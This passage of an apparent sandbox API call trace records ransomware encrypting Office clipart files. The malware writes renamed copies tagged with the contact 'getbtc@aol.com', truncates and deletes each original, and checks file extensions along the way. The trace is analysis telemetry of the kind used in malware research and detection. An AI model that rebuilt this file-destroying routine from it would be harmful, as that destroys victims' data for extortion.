nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0250.407] WriteFile (in: hFile=0x3bc, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0250.407] SetEndOfFile (hFile=0x3bc) returned 1 [0250.407] CloseHandle (hObject=0x3bc) returned 1 [0250.407] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.407] SetEndOfFile (hFile=0x324) returned 1 [0250.409] CloseHandle (hObject=0x324) returned 1 [0250.409] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0250.410] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02116_.wmf")) returned 1 [0250.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 63 [0250.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 63 [0250.410] lstrlenW (lpString=".doc") returned 4 [0250.410] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0250.410] lstrlenW (lpString=".docx") returned 5 [0250.410] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0250.410] lstrlenW (lpString=".pdf") returned 4 [0250.410] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0250.410] lstrlenW (lpString=".xls") returned 4 [0250.410] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0250.410] lstrlenW (lpString=".xlsx") returned 5 [0250.410] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0250.410] lstrlenW (lpString=".ppt") returned 4 [0250.410] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0250.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 63 [0250.410] lstrlenW (lpString=".zip") returned 4 [0250.410] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0250.411] lstrlenW (lpString=".rar") returned 4 [0250.411] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0250.411] lstrlenW (lpString=".bz2") returned 4 [0250.411] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0250.411] lstrlenW (lpString=".7z") returned 3 [0250.411] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0250.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 63 [0250.411] lstrlenW (lpString=".dbf") returned 4 [0250.411] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0250.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 63 [0250.411] lstrlenW (lpString=".1cd") returned 4 [0250.411] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0250.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 63 [0250.411] lstrlenW (lpString=".jpg") returned 4 [0250.411] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0250.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 63 [0250.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 63 [0250.411] lstrlenW (lpString=".doc") returned 4 [0250.411] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0250.411] lstrlenW (lpString=".docx") returned 5 [0250.411] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0250.411] lstrlenW (lpString=".pdf") returned 4 [0250.411] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0250.411] lstrlenW (lpString=".xls") returned 4 [0250.411] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0250.411] lstrlenW (lpString=".xlsx") returned 5 [0250.411] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0250.411] lstrlenW (lpString=".ppt") returned 4 [0250.411] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0250.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 63 [0250.411] lstrlenW (lpString=".zip") returned 4 [0250.411] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0250.411] lstrlenW (lpString=".rar") returned 4 [0250.411] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0250.411] lstrlenW (lpString=".bz2") returned 4 [0250.411] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0250.411] lstrlenW (lpString=".7z") returned 3 [0250.411] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0250.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 63 [0250.412] lstrlenW (lpString=".dbf") returned 4 [0250.412] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0250.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 63 [0250.412] lstrlenW (lpString=".1cd") returned 4 [0250.412] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0250.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 63 [0250.412] lstrlenW (lpString=".jpg") returned 4 [0250.412] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0250.412] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0250.412] lstrlenW (lpString="FD02141_.WMF") returned 12 [0250.412] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02141_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0250.412] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=2636) returned 1 [0250.412] CloseHandle (hObject=0x324) returned 1 [0250.412] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02141_.wmf")) returned 0x20 [0250.412] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02141_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0250.413] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02141_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0250.413] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.413] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.413] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02141_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0250.413] GetLastError () returned 0x0 [0250.413] ReadFile (in: hFile=0x324, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0xa4c, lpOverlapped=0x0) returned 1 [0250.415] WriteFile (in: hFile=0x3bc, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xa50, lpOverlapped=0x0) returned 1 [0250.416] ReadFile (in: hFile=0x324, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0250.416] WriteFile (in: hFile=0x3bc, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0250.416] SetEndOfFile (hFile=0x3bc) returned 1 [0250.416] CloseHandle (hObject=0x3bc) returned 1 [0250.416] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.417] SetEndOfFile (hFile=0x324) returned 1 [0250.418] CloseHandle (hObject=0x324) returned 1 [0250.418] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0250.419] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02141_.wmf")) returned 1 [0250.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 63 [0250.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 63 [0250.419] lstrlenW (lpString=".doc") returned 4 [0250.419] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0250.419] lstrlenW (lpString=".docx") returned 5 [0250.419] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0250.419] lstrlenW (lpString=".pdf") returned 4 [0250.419] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0250.419] lstrlenW (lpString=".xls") returned 4 [0250.419] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0250.419] lstrlenW (lpString=".xlsx") returned 5 [0250.419] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0250.419] lstrlenW (lpString=".ppt") returned 4 [0250.419] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0250.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 63 [0250.419] lstrlenW (lpString=".zip") returned 4 [0250.419] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0250.420] lstrlenW (lpString=".rar") returned 4 [0250.420] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0250.420] lstrlenW (lpString=".bz2") returned 4 [0250.420] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0250.420] lstrlenW (lpString=".7z") returned 3 [0250.420] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0250.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 63 [0250.420] lstrlenW (lpString=".dbf") returned 4 [0250.420] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0250.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 63 [0250.420] lstrlenW (lpString=".1cd") returned 4 [0250.420] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0250.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 63 [0250.420] lstrlenW (lpString=".jpg") returned 4 [0250.420] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0250.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 63 [0250.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 63 [0250.420] lstrlenW (lpString=".doc") returned 4 [0250.420] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0250.420] lstrlenW (lpString=".docx") returned 5 [0250.420] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0250.420] lstrlenW (lpString=".pdf") returned 4 [0250.420] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0250.420] lstrlenW (lpString=".xls") returned 4 [0250.420] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0250.420] lstrlenW (lpString=".xlsx") returned 5 [0250.420] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0250.420] lstrlenW (lpString=".ppt") returned 4 [0250.420] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0250.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 63 [0250.420] lstrlenW (lpString=".zip") returned 4 [0250.420] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0250.420] lstrlenW (lpString=".rar") returned 4 [0250.420] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0250.420] lstrlenW (lpString=".bz2") returned 4 [0250.420] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0250.421] lstrlenW (lpString=".7z") returned 3 [0250.421] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0250.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 63 [0250.421] lstrlenW (lpString=".dbf") returned 4 [0250.421] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0250.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 63 [0250.421] lstrlenW (lpString=".1cd") returned 4 [0250.421] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0250.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 63 [0250.421] lstrlenW (lpString=".jpg") returned 4 [0250.421] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0250.421] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0250.421] lstrlenW (lpString="FD02153_.WMF") returned 12 [0250.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02153_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0250.422] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=5392) returned 1 [0250.422] CloseHandle (hObject=0x324) returned 1 [0250.422] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02153_.wmf")) returned 0x20 [0250.422] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02153_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0250.423] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02153_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0250.423] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.423] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.423] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02153_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0250.423] GetLastError () returned 0x0 [0250.423] ReadFile (in: hFile=0x324, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x1510, lpOverlapped=0x0) returned 1 [0251.365] WriteFile (in: hFile=0x3bc, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x1520, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x1520, lpOverlapped=0x0) returned 1 [0251.366] ReadFile (in: hFile=0x324, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0251.366] WriteFile (in: hFile=0x3bc, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0251.367] SetEndOfFile (hFile=0x3bc) returned 1 [0251.367] CloseHandle (hObject=0x3bc) returned 1 [0251.367] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.367] SetEndOfFile (hFile=0x324) returned 1 [0251.481] CloseHandle (hObject=0x324) returned 1 [0251.481] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0251.548] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02153_.wmf")) returned 1 [0251.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 63 [0251.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 63 [0251.548] lstrlenW (lpString=".doc") returned 4 [0251.548] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0251.548] lstrlenW (lpString=".docx") returned 5 [0251.548] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0251.548] lstrlenW (lpString=".pdf") returned 4 [0251.548] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0251.548] lstrlenW (lpString=".xls") returned 4 [0251.548] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0251.548] lstrlenW (lpString=".xlsx") returned 5 [0251.548] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0251.548] lstrlenW (lpString=".ppt") returned 4 [0251.548] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0251.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 63 [0251.549] lstrlenW (lpString=".zip") returned 4 [0251.549] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0251.549] lstrlenW (lpString=".rar") returned 4 [0251.549] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0251.549] lstrlenW (lpString=".bz2") returned 4 [0251.549] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0251.549] lstrlenW (lpString=".7z") returned 3 [0251.549] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0251.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 63 [0251.549] lstrlenW (lpString=".dbf") returned 4 [0251.549] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0251.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 63 [0251.549] lstrlenW (lpString=".1cd") returned 4 [0251.549] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0251.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 63 [0251.549] lstrlenW (lpString=".jpg") returned 4 [0251.549] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0251.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 63 [0251.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 63 [0251.549] lstrlenW (lpString=".doc") returned 4 [0251.549] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0251.549] lstrlenW (lpString=".docx") returned 5 [0251.549] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0251.549] lstrlenW (lpString=".pdf") returned 4 [0251.549] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0251.549] lstrlenW (lpString=".xls") returned 4 [0251.549] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0251.549] lstrlenW (lpString=".xlsx") returned 5 [0251.549] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0251.549] lstrlenW (lpString=".ppt") returned 4 [0251.549] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0251.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 63 [0251.549] lstrlenW (lpString=".zip") returned 4 [0251.549] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0251.549] lstrlenW (lpString=".rar") returned 4 [0251.549] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0251.550] lstrlenW (lpString=".bz2") returned 4 [0251.550] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0251.550] lstrlenW (lpString=".7z") returned 3 [0251.550] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0251.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 63 [0251.550] lstrlenW (lpString=".dbf") returned 4 [0251.550] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0251.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 63 [0251.550] lstrlenW (lpString=".1cd") returned 4 [0251.550] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0251.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 63 [0251.550] lstrlenW (lpString=".jpg") returned 4 [0251.550] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0251.550] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0251.550] lstrlenW (lpString="FLAP.WMF") returned 8 [0251.550] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\flap.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0251.575] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=2070) returned 1 [0251.575] CloseHandle (hObject=0x3b0) returned 1 [0251.575] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\flap.wmf")) returned 0x20 [0251.577] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\flap.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0251.577] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\flap.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0251.577] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.578] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\flap.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0251.578] GetLastError () returned 0x0 [0251.578] ReadFile (in: hFile=0x3b0, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x816, lpOverlapped=0x0) returned 1 [0251.581] WriteFile (in: hFile=0x324, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x820, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x820, lpOverlapped=0x0) returned 1 [0251.583] ReadFile (in: hFile=0x3b0, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0251.583] WriteFile (in: hFile=0x324, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0251.583] SetEndOfFile (hFile=0x324) returned 1 [0251.583] CloseHandle (hObject=0x324) returned 1 [0251.583] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: 